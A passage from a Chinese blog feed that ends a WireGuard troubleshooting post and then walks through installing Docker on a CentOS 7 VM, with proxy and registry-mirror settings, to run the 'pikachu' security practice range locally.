保存了配置，但接口没有重新加载，配置只写进了文件却没有应用到内核</p>\n<p>使用以下命令，重启接口</p>\n<pre class=\"language-batch line-numbers\"><code>ifdown wg0 &amp;&amp; ifup wg0</code></pre>\n<p>重启接口之后再执行 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">wg show</code>，peer 就出现了，同时能看到 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">latest handshake: X seconds ago</code>，说明握手成功（如下图所示）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-173837.png\" alt=\"\" width=\"956\" height=\"404\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-173837-xl.webp 1024w\"></figure>\n<p><strong>问题二：能 ping 通路由器但 RDP 连不上虚拟机（这里我以windows为例）</strong></p>\n<p><strong>排查</strong>：你可能没用开启远程访问的权限，请自行检查</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/51/Ping-Mu-Jie-Tu-2026-05-02-174109.png\" alt=\"\" width=\"1772\" height=\"1203\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-xs.webp 320w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-sm.webp 480w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-md.webp 768w ,https://old.zeyun.org/media/posts/51/responsive/Ping-Mu-Jie-Tu-2026-05-02-174109-xl.webp 1024w\"></figure>\n<h4 class=\"text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold\">总结</h4>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">整个流程其实不复杂，核心就三件事：</p>\n<ol class=\"[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-decimal flex flex-col gap-1 pl-8 mb-3\">\n<li class=\"whitespace-normal break-words pl-2\">ImmortalWrt上建 WireGuard 接口，分配虚拟网段</li>\n<li class=\"whitespace-normal break-words pl-2\">客户端和服务端互换公钥，建立信任</li>\n<li class=\"whitespace-normal break-words pl-2\">AllowedIPs 控制哪些流量走隧道</li>\n</ol>\n<p class=\"font-claude-response-body break-words whitespace-normal leading-[1.7]\">最容易踩的坑是<strong>配置保存后接口没有重载</strong>，只要 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">ifdown wg0 &amp;&amp; ifup wg0</code> 重启一下就好了</p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "网络工具介绍",
                   "Linux学习笔记"
            ],
            "date_published": "2026-05-02T16:56:26+09:00",
            "date_modified": "2026-05-02T17:57:53+09:00"
        },
        {
            "id": "https://old.zeyun.org/docker1.html",
            "url": "https://old.zeyun.org/docker1.html",
            "title": "Linux虚拟机+Docker部署本地靶场",
            "summary": "前言： 在进行安全测试或靶场练习时，直接在本地物理机上运行相关服务（如 MySQL 等）存在一定风险，可能影响系统稳定性甚至带来安全隐患。因此，更推荐使用“虚拟机 +&hellip;",
            "content_html": "<h4>前言：</h4>\n<p data-start=\"117\" data-end=\"215\">在进行安全测试或靶场练习时，直接在本地物理机上运行相关服务（如 MySQL 等）存在一定风险，可能影响系统稳定性甚至带来安全隐患。因此，更推荐使用“虚拟机 + Docker”的方式来搭建实验环境</p>\n<p data-start=\"217\" data-end=\"284\">通过这种方式，我们可以在隔离的虚拟环境中快速部署和管理多个靶场实例，在保证主机安全的同时，也便于环境的复用与销毁，提高学习与测试效率</p>\n<p data-start=\"286\" data-end=\"356\">需要注意的是，在部署 Docker 之前，请确保当前环境（物理机或虚拟机）具备良好的网络访问能力，否则可能会影响镜像的下载与容器的正常运行</p>\n<p data-start=\"286\" data-end=\"356\">本教程的结尾附上了docker常见的命令表，可供参考（在本文的最后）</p>\n<h5>虚拟机桥接设置：</h5>\n<p>在部署 Docker 之前，需要先配置虚拟机的网络模式。本文采用桥接模式，使虚拟机能够直接接入局域网，从而保证后续服务部署与访问的正常进行</p>\n<p data-start=\"197\" data-end=\"206\"><strong data-start=\"197\" data-end=\"206\">环境说明：</strong></p>\n<ul data-start=\"207\" data-end=\"241\">\n<li data-section-id=\"1dydldu\" data-start=\"207\" data-end=\"223\">虚拟化软件：VMware Workstation Pro 25H2</li>\n<li data-section-id=\"28u4he\" data-start=\"224\" data-end=\"241\">系统镜像：CentOS-7x86_64-Minimal-2009</li>\n</ul>\n<p>CentOS7镜像：<a href=\"https://pan-yz.cldisk.com/v2/external/resourceDetail.html?appid=1D734FA7-035A-4DEC-AA1C-DD63331D9267&amp;nonce=557161100&amp;timestamp=1775926805515&amp;showAppBar=true&amp;puid=305794623&amp;autoPreview=true&amp;objectId=b8bbab41ebbcb75ec2f8b69b08afe54a&amp;signature=6bcc793e13be0b90beb8503f1e6360cf\" title=\"下载地址1\" rel=\"nofollow\">下载地址1</a>（NAS分享链接）<a class=\"link-info\" href=\"https://mirrors.aliyun.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-2009.torrent\" title=\"下载地址2\" rel=\"nofollow\">下载地址2</a>（种子链接）</p>\n<p>如果第一个链接挂了，请使用第二个下载链接（种子使用教程：<a class=\"link-info\" href=\"https://old.zeyun.org/qbittorrent_teaching.html\" title=\"点我前往\" rel=\"nofollow\">点我前往</a>）</p>\n<h4>添加windows防火墙规则</h4>\n<h6>步骤一：Win+R，输入<code>control</code>打开控制面板</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-02-002617.png\" alt=\"\" width=\"799\" height=\"420\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-002617-xl.webp 1024w\"></figure>\n<h6>步骤二：依次按照下图，找到“高级设置”</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/firewall-2.png\" alt=\"\" width=\"2260\" height=\"1176\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/firewall-2-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/firewall-2-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/firewall-2-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/firewall-2-xl.webp 1024w\"></figure>\n<h6>步骤三：新建一条windows的防火墙策略</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/1.png\" alt=\"\" width=\"2879\" height=\"1701\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/1-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/1-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/1-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/1-xl.webp 1024w\"></figure>\n<h6>步骤四：选择端口设置</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/2.png\" alt=\"\" width=\"1428\" height=\"1078\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/2-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/2-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/2-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/2-xl.webp 1024w\"></figure>\n<h6>步骤五：选择协议（<code>*注</code>：这里的端口要设置的和clash或者其他的代理工具所提供的端口一致，不能乱填）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/3.png\" alt=\"\" width=\"1428\" height=\"1078\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/3-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/3-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/3-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/3-xl.webp 1024w\"></figure>\n<h6>步骤六：选择“允许连接”</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/4.png\" alt=\"\" width=\"1428\" height=\"1078\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/4-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/4-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/4-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/4-xl.webp 1024w\"></figure>\n<h6>步骤七：把所有的网络环境都勾选上</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/5.png\" alt=\"\" width=\"1428\" height=\"1078\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/5-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/5-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/5-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/5-xl.webp 1024w\"></figure>\n<h6>步骤八：最终取一个自己记得住的名字即可</h6>\n<h6>测试连接：</h6>\n<p>打开VMware的设置，将网卡模式设置成NAT</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-02-172517.png\" alt=\"\" width=\"1392\" height=\"1637\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-02-172517-xl.webp 1024w\"></figure>\n<h5>检查物理机和虚拟机的连通性</h5>\n<p>输入以下命令查看虚拟机的IP地址</p>\n<pre class=\"language-bash line-numbers\"><code>ip addr | more</code></pre>\n<p>测试连通性</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Lian-Tong.png\" alt=\"\" width=\"2427\" height=\"830\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Lian-Tong-xl.webp 1024w\"></figure>\n<h4>代理配置部分：</h4>\n<p><code>*注</code>：如果你完全使用国内的镜像站操作，那么也不必配置代理，这部分可跳过（如果没有科学上网，也请别担心，我在后面docker安装好了之后的部分会提到使用镜像站的方法）</p>\n<p>（请自行解决科学上网的部分，这里我直接跳过）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-004221.png\" alt=\"\" width=\"2805\" height=\"905\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-xl.webp 1024w\"></figure>\n<p>我使用的是Clash Verge，这里就以Clash的局域网模式来示例</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/clashPei-Zhi.png\" alt=\"\" width=\"1993\" height=\"1458\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-xl.webp 1024w\"></figure>\n<h4>在CentOS7的配置：</h4>\n<p>首先确保这个CentOS7能够远程SSH连接（后续粘贴命令很方便）</p>\n<p>我使用的是MobaXtream（<a href=\"https://wwbte.lanzn.com/b014x4mvif\" target=\"_blank\" rel=\"noopener noreferrer\">点我下载</a>，密码：enk9）<a href=\"https://mobaxterm.mobatek.net/download-home-edition.html\" target=\"_blank\" rel=\"noopener noreferrer\">点我跳转软件官网</a></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-002205.png\" alt=\"\" width=\"1303\" height=\"610\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-xl.webp 1024w\"></figure>\n<p>打开CMD，输入ipconfig命令来查看自己的Vmware里的ip地址信息</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-002847.png\" alt=\"\" width=\"1337\" height=\"305\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-xl.webp 1024w\"></figure>\n<p>执行以下代码，使得CentOS7的代理指向宿主机的端口（这里我的这个是153，你的需要替换成你自己的端口）</p>\n<pre class=\"language-bash line-numbers\"><code>export http_proxy=http://192.168.153.1:7897\nexport https_proxy=http://192.168.153.1:7897</code></pre>\n<p>将代理配置永远写入（不建议这么做，这里下载docker也只是临时的，所以临时设置一下即可）可跳过</p>\n<h6>步骤一：编辑配置文件</h6>\n<pre class=\"language-bash line-numbers\"><code>vi ~/.bashrc</code></pre>\n<h6>步骤二：在文件末尾添加上述两行 <code data-path-to-node=\"19\" data-index-in-node=\"12\">export</code> 命令，保存退出后执行以下命令</h6>\n<pre class=\"language-bash line-numbers\"><code>source ~/.bashrc</code></pre>\n<p>即可保存成功</p>\n<h4>验证部分：</h4>\n<p>在终端中使用如下命令查看是否成功连接外网</p>\n<pre class=\"language-bash line-numbers\"><code>curl -I www.google.com</code></pre>\n<p>下图即为成功（可以看到这里已经是200 OK了，代表已经获取到了响应头）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-004340.png\" alt=\"\" width=\"2380\" height=\"656\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-xl.webp 1024w\"></figure>\n<h4>开始部署docker</h4>\n<h6>步骤一：安装 Docker 引擎</h6>\n<p>（CentOS 7 自带的软件包版本通常较低，建议通过 Docker 官方的仓库进行安装，以确保版本最新）</p>\n<p>卸载旧版本（可选）如果系统之前安装过旧版 Docker，请先清理：</p>\n<pre class=\"language-bash line-numbers\"><code>sudo yum remove docker \\\n                  docker-client \\\n                  docker-client-latest \\\n                  docker-common \\\n                  docker-latest \\\n                  docker-latest-logrotate \\\n                  docker-logrotate \\\n                  docker-engine</code></pre>\n<h6 data-path-to-node=\"8\">步骤二：设置存储库</h6>\n<p data-path-to-node=\"9\">执行以下命令，安装必要的工具包并添加阿里云仓库源：</p>\n<pre class=\"language-bash line-numbers\"><code>sudo yum install -y yum-utils\nsudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo</code></pre>\n<h6>步骤三：生成缓存并安装（第一次安装不用清理缓存，不过我还是建议清理一下，避免出错）</h6>\n<p>执行以下命令，清理旧缓存</p>\n<pre class=\"language-bash line-numbers\"><code>sudo yum clean all</code></pre>\n<h6>建立新缓存并安装</h6>\n<pre class=\"language-bash line-numbers\"><code>sudo yum makecache fast\nsudo yum install -y docker-ce docker-ce-cli containerd.io</code></pre>\n<h6>步骤四：启动docker并设置开机自启</h6>\n<pre class=\"language-bash line-numbers\"><code>sudo systemctl start docker\nsudo systemctl enable docker</code></pre>\n<h6>验证docker是否部署成功</h6>\n<p>输入 <code data-path-to-node=\"16\" data-index-in-node=\"3\">docker version</code>，看到 Client 和 Server 信息即表示安装成功（如下图所示）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-012858.png\" alt=\"\" width=\"1001\" height=\"871\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-xl.webp 1024w\"></figure>\n<h4 dir=\"auto\">虚拟机Docker的代理的设置</h4>\n<h5>方法一：使用国内镜像站的配置</h5>\n<h6 dir=\"auto\">步骤一：创建或编辑 Docker 的配置文件</h6>\n<pre class=\"language-bash line-numbers\"><code>sudo mkdir -p /etc/docker\nsudo vi /etc/docker/daemon.json</code></pre>\n<h6 dir=\"auto\">步骤二：在文件中粘贴以下内容（推荐如下的国内镜像站）</h6>\n<pre class=\"language-json line-numbers\"><code>{\n    \"registry-mirrors\": [\n        \"https://docker.1panel.live\",\n        \"https://hub.rat.dev/\",\n        \"https://docker.chenby.cn\",\n        \"https://docker.kubesre.xyz\",\n        \"https://huecker.io\",\n        \"https://dockerhub.timeweb.cloud\",\n        \"https://dockerproxy.com\",\n        \"https://docker.anyhub.us.kg\",\n        \"https://dockerhub.icu\",\n        \"https://docker.aws19527.cn\",\n        \"https://registry.dockermirror.com\",\n        \"https://hub-mirror.c.163.com\",\n        \"https://mirror.baidubce.com\",\n        \"https://ccr.ccs.tencentyun.com\",\n        \"https://docker.m.daocloud.io\",\n        \"https://docker.mirrors.ustc.edu.cn\"\n    ]\n}\n</code></pre>\n<h6 dir=\"auto\">步骤三：保存后，重启 Docker 服务使配置生效：</h6>\n<pre class=\"language-bash line-numbers\"><code>sudo systemctl daemon-reload\nsudo systemctl restart docker</code></pre>\n<h6 dir=\"auto\">步骤四：验证国内镜像是否生效</h6>\n<pre class=\"language-bash line-numbers\"><code>docker info | grep -A 10 \"Registry Mirrors\"</code></pre>\n<p>输出结果如下图所示即可</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-23-224631.png\" alt=\"\" width=\"1000\" height=\"435\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-xl.webp 1024w\"></figure>\n<h6>至此，国内镜像方法配置结束</h6>\n<h5>方法二：使用刚刚配置的本地代理</h5>\n<p>如果你没有代理工具，可使用国内镜像站的即可</p>\n<p dir=\"auto\">使用代理的时候，这里需要配置两处</p>\n<ul>\n<li dir=\"auto\">第一处：解决“Docker 能不能下载镜像”的问题</li>\n<li dir=\"auto\">第二处：解决“容器里面能不能上网”的问题</li>\n</ul>\n<h6 dir=\"auto\">第一处：配置 Docker Daemon（让 docker pull、docker run 下载镜像时走代理）</h6>\n<pre class=\"language-bash line-numbers\"><code>sudo mkdir -p /etc/systemd/system/docker.service.d\nsudo vi /etc/systemd/system/docker.service.d/http-proxy.conf</code></pre>\n<p dir=\"auto\">在文件中添加以下内容（把 http://127.0.0.1:7890 改成你自己的代理地址和端口）</p>\n<pre class=\"language-bash line-numbers\"><code>[Service]\nEnvironment=\"HTTP_PROXY=http://127.0.0.1:7897\"\nEnvironment=\"HTTPS_PROXY=http://127.0.0.1:7897\"\nEnvironment=\"NO_PROXY=localhost,127.0.0.1,::1\"</code></pre>\n<p dir=\"auto\">这里我的是7897端口，所以在后面配置这个7897</p>\n<p dir=\"auto\">按下<code>：</code>，输入<code>wq</code>，保存后执行：</p>\n<pre class=\"language-bash line-numbers\"><code>sudo systemctl daemon-reload\nsudo systemctl restart docker</code></pre>\n<p dir=\"auto\">验证代理镜像是否生效</p>\n<pre class=\"language-bash line-numbers\"><code>sudo systemctl show --property=Environment docker</code></pre>\n<h6 dir=\"auto\">第二处：配置 Docker Client（让容器内部默认走代理，新版 Docker 推荐方式）</h6>\n<p dir=\"auto\">创建或编辑用户配置文件</p>\n<pre class=\"language-bash line-numbers\"><code>mkdir -p ~/.docker\nvi ~/.docker/config.json</code></pre>\n<p dir=\"auto\">添加以下内容：</p>\n<pre class=\"language-bash line-numbers\"><code>{\n  \"proxies\": {\n    \"default\": {\n      \"httpProxy\": \"http://127.0.0.1:7897\",\n      \"httpsProxy\": \"http://127.0.0.1:7897\",\n      \"noProxy\": \"localhost,127.0.0.1\"\n    }\n  }\n}</code></pre>\n<p dir=\"auto\">这个配置会让新启动的容器自动继承代理环境变量</p>\n<h6 dir=\"auto\">临时测试代理（不想永久配置时）</h6>\n<p dir=\"auto\">直接在命令前加环境变量</p>\n<pre class=\"language-bash line-numbers\"><code>HTTP_PROXY=http://127.0.0.1:7890\nHTTPS_PROXY=http://127.0.0.1:7890</code></pre>\n<p dir=\"auto\">配置完后，试一下拉取镜像：</p>\n<pre class=\"language-bash line-numbers\"><code>docker pull hello-world</code></pre>\n<p>可以看到，我这里可以成功拉取镜像（这里仅仅做测试，就不运行了）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-140917.png\" alt=\"\" width=\"1278\" height=\"216\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-xl.webp 1024w\"></figure>\n<h4 dir=\"auto\">Docker镜像部署</h4>\n<p dir=\"auto\">访问docker hub，寻找我们需要的镜像</p>\n<p dir=\"auto\">docker hub：<a href=\"https://hub.docker.com/\" target=\"_blank\" rel=\"noopener noreferrer\">点我前往</a></p>\n<p dir=\"auto\">这里我会使用这个<code>pikachu</code>网络安全靶场，作为从零开始部署整个靶场的全流程（包含每一步的详细原理）从而带你认识docker的部署于使用</p>\n<h6 class=\"align-center\" dir=\"auto\">具体的流程图如下</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/mermaid-diagram.png\" alt=\"\" width=\"1466\" height=\"5465\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-xl.webp 1024w\"></figure>\n<h6 dir=\"auto\">第一步：寻宝（Docker Hub 搜索与选择）</h6>\n<p>这里我找到了我需要的靶场，并且和它对应的部署链接</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/49/La-Qu-pikachu.png\" alt=\"\" width=\"2803\" height=\"1497\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-xl.webp 1024w\"></figure>\n<h6 dir=\"auto\">第二步：入库（拉取镜像到本地）</h6>\n<p>输入以下命令，拉取<code>area39/pikachu</code>的镜像文件（如果下载失败，请检查之前的环境配置）</p>\n<pre class=\"language-bash line-numbers\"><code>docker pull area39/pikachu:latest</code></pre>\n<ul>\n<li>名词解释：Pull（拉取）<span class=\"\">：这就是从云端把“零件包”下载到你服务器的仓库里（</span><code class=\"\" data-path-to-node=\"9,0,0\" data-index-in-node=\"38\">/var/lib/docker</code><span class=\"\">）</span></li>\n<li>\n<p data-path-to-node=\"9,1,0\">检查动作<span class=\"\">：下载完后，</span><span class=\"\">输入 </span><code class=\"\" data-path-to-node=\"9,1,0\" data-index-in-node=\"13\">docker images</code>，<span class=\"\">如果你能看到 </span><code class=\"\" data-path-to-node=\"9,1,0\" data-index-in-node=\"34\">area39/pikachu</code><span class=\"\"> 出现在列表里，</span><span class=\"\">说明“零件”已经到货了</span></p>\n</li>\n</ul>\n<h6 dir=\"auto\">第三步：开工（运行容器）</h6>\n<p><span class=\"\">这是最关键的一步，</span><span class=\"\">把静态的“零件”变成动态的“程序”</span></p>\n<pre class=\"language-bash line-numbers\"><code>docker run -d -p 8765:80 --name my_pikachu area39/pikachu:latest</code></pre>\n<ul>\n<li>\n<p data-path-to-node=\"14,0,0\"><strong class=\"\" data-path-to-node=\"14,0,0\" data-index-in-node=\"0\"><code data-path-to-node=\"14,0,0\" data-index-in-node=\"0\">-d</code></strong><span class=\"\">：后台运行，</span><span class=\"\">不占用你的终端窗口。</span></p>\n</li>\n<li>\n<p data-path-to-node=\"14,1,0\"><strong class=\"\" data-path-to-node=\"14,1,0\" data-index-in-node=\"0\"><code data-path-to-node=\"14,1,0\" data-index-in-node=\"0\">-p 8765:80</code></strong><span class=\"\">：把服务器的 </span><strong class=\"\" data-path-to-node=\"14,1,0\" data-index-in-node=\"17\">8765</strong><span class=\"\"> 端口连到容器内部的 </span><strong class=\"\" data-path-to-node=\"14,1,0\" data-index-in-node=\"32\">80</strong><span class=\"\"> 端口。</span></p>\n</li>\n<li>\n<p data-path-to-node=\"14,2,0\"><strong class=\"\" data-path-to-node=\"14,2,0\" data-index-in-node=\"0\"><code data-path-to-node=\"14,2,0\" 